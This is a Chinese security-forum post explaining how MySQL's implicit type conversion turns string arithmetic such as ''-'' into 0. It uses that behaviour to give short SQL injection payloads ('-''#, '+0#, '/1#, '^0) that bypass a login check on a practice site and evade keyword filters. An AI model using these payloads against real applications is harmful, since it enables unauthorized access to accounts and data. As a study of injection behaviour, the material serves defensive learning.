找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2042|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
/ z% L. t# [  W! I: N% D- ^0 z4 C有以下表结构: & h! e) r7 z% d$ f  z- m3 X7 s
2 X6 i3 P; C( }  N9 E; k- f
mysql> desc admin;" Q1 g6 i# l. {8 V0 f% b
+----------+--------------+------+-----+---------+----------------+
1 y: |4 u5 T) e' |9 p3 [) ~* L| Field    | Type         | Null | Key | Default | Extra          |
6 x% J' C  V4 O; P; r+----------+--------------+------+-----+---------+----------------+
; P1 }& x1 j1 I| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
3 _- r4 v: d! B# M) L3 N| name     | char(32)     | NO   | UNI | NULL    |                |# y6 [4 Q* h2 U
| password | char(32)     | NO   | UNI | NULL    |                |
6 {1 j5 _$ z. I% J2 Q+ s+----------+--------------+------+-----+---------+----------------+; ^$ Z% e, `  P6 S2 z4 d* K% ~- k
3 rows in set (0.00 sec)) j5 [8 V. R, A0 Q$ ~; x
执行select * from admin;,成功返回所有记录内容。
% O* h. }' n3 J+ J5 m# h/ E9 T( D$ B3 K& u5 X' ^
9 ~7 D' b& w. i
+----+--------+----------------------------------+
# r$ X! b3 o& T9 |) H( w| id | name   | password                         |
1 u# R" w6 P) q( B& o+ _, V+----+--------+----------------------------------+
4 W* a* r! M5 I6 G, g) b7 y|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
  {4 Z) [/ y, t; i1 {0 C|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% F/ _9 Z. B* k& `1 H
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
- d/ u2 |3 v) s+----+--------+----------------------------------+0 H7 Z2 Q! Z4 l+ J' @
3 rows in set (0.00 sec), Q' F" y0 N( Y* G( C4 ^, ?$ `! x( j
执行select * from admin where name=”;,没有匹配到任何记录。   ~+ C& ]/ Q' J. a$ s
( }! U- b% ^! q
mysql> select * from admin where name = '';
- z. e: j9 O" e1 [# B9 n+ YEmpty set (0.00 sec): [0 F% Q3 g" y. z
那么我们来执行select * from admin where name = ”-”;, s# {9 d5 Y1 F& c+ N; G  U

& c6 E. t& C1 f: t, h4 Q! t1 b( h2 l1 t
+----+--------+----------------------------------+  q7 o; a3 l1 g% Y6 n  C4 B4 |- p
| id | name   | password                         |
- Z1 V% o! \* t. `$ h8 u+----+--------+----------------------------------+$ h" V( _5 L* H' z; v. z1 B
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |3 l: ]6 c, Q& `  T
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; e: v2 E& p- V; D% P( r8 W; J: u
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
, @! H6 u5 r% ?1 s+----+--------+----------------------------------+3 ~; e- l5 j/ Q9 t0 @; |9 Z2 {
3 rows in set, 3 warnings (0.00 sec)
: z* i4 J: c) x8 I可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: $ q7 F- \& `3 _

/ ~( V& _  ~4 ^mysql> show warnings;* l5 q7 T# ^. U' h$ N4 [4 s
+---------+------+------------------------------------------
; v/ k- k1 t# p8 R& m* V, X% J4 Z| Level   | Code | Message- }' F& o' f: p/ X4 O* D& U  T
+---------+------+------------------------------------------. r2 w- A, u- |" n
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin+ [) \; I* U( U: y. S
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
* {0 q& q5 V0 L1 l" p| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b% ~* W1 H! }; v5 b& t
+---------+------+------------------------------------------
3 B* @7 p: f& x3 rows in set (0.00 sec)4 Z, z1 |6 H8 `* @3 e# |! W
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
' U% l& q% S5 G. R% p
& p+ P4 @3 W. h$ |1 w$ t: A% Cmysql> select ''-'';$ `' c1 M. e/ [# l
+-------+8 v" G* ?) {& k  A$ S# Z4 ~# @
| ''-'' |
9 e" @6 i- k- g5 A( P2 Y9 b+-------+7 [- q4 ~* ?2 R. S  F0 S7 A$ F
|     0 |
2 y$ b5 z' a7 F* L( J, f* D+-------+
% @& D0 `3 Q  ^/ F3 d# L5 ]! \1 row in set (0.00 sec)
1 }2 U5 o& r# u. ^返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
' }  b, k; c4 C" H" ^% E
" i& _2 ]* ^& W8 z  [2 R5 }mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
# W& I+ ?- w0 J+-----------------------------------------------------+
' Q: r; |4 K, B/ V5 l: c9 C5 G8 q| CAST((select name from admin limit 1,1) as DECIMAL) |/ j' H' }0 x$ M( y. a& q: R+ P
+-----------------------------------------------------+
. D2 D4 o! n6 B& V# j3 r|                                                   0 |
) {* ]" `! n. Q' F0 h+-----------------------------------------------------+
, P3 F( P# l* l1 row in set, 1 warning (0.00 sec)2 S5 z5 ]( u1 e# ~: W
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 $ y) L' u& }. P1 ^

$ G) B6 |9 w" t0 n6 i7 SSQL注入场景: http://www.sqlzoo.net/hack/ . [+ k5 J1 [7 F* V! p! S* d

1 d3 B4 E3 f( H5 @9 E, p! r) b" |, Q
5 R/ J) J2 C$ B# ~

4 }& T; D8 u+ x) f# z( A如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 $ T' F$ K6 I7 H% z: o+ y; x* A3 z
  F6 a! E2 V- p3 F6 C( c! `
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ) {& d1 k) ~* Y: U4 _8 U- F3 ~

# O1 o9 t! R% _+ Y9 G& U5 }# y# ]) U! b
' u- `2 y- C0 r8 m" t

% ^1 x" _- E* P仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
6 `. `' P" Q, R  f$ s+ ~, W" q% p! z5 T' o% x* k
   
! J! ~9 b  @( g; @% L1 g* w
0 G# Y9 K! u+ T/ K8 S# W( w除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
5 h5 R4 }2 _+ {& h) k7 `4 P
3 g/ d0 ~: J' A, L# b2 O0 E0 ~! F. A5 b2 N
mysql> select ''/1;
1 _* [2 t8 J5 U$ W8 y+------+# ]$ g4 E& u& j5 m5 a' m1 j
| ''/1 |2 g+ I3 S) j6 ?+ z
+------+& r9 Y; U: e# W) B
|    0 |
0 B% o, ~1 f4 Q" r$ n2 [* u$ G+------+5 m! k+ b  _1 X# @3 A5 g' e- u9 T9 P
1 row in set (0.00 sec)
+ E( e2 V8 [" M7 O. f; F, a类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
" z6 @6 _; i( {; k- {: g5 `( A- r/ w! ]$ N8 w
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。$ ^: g5 K; l, _. A3 q$ u6 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表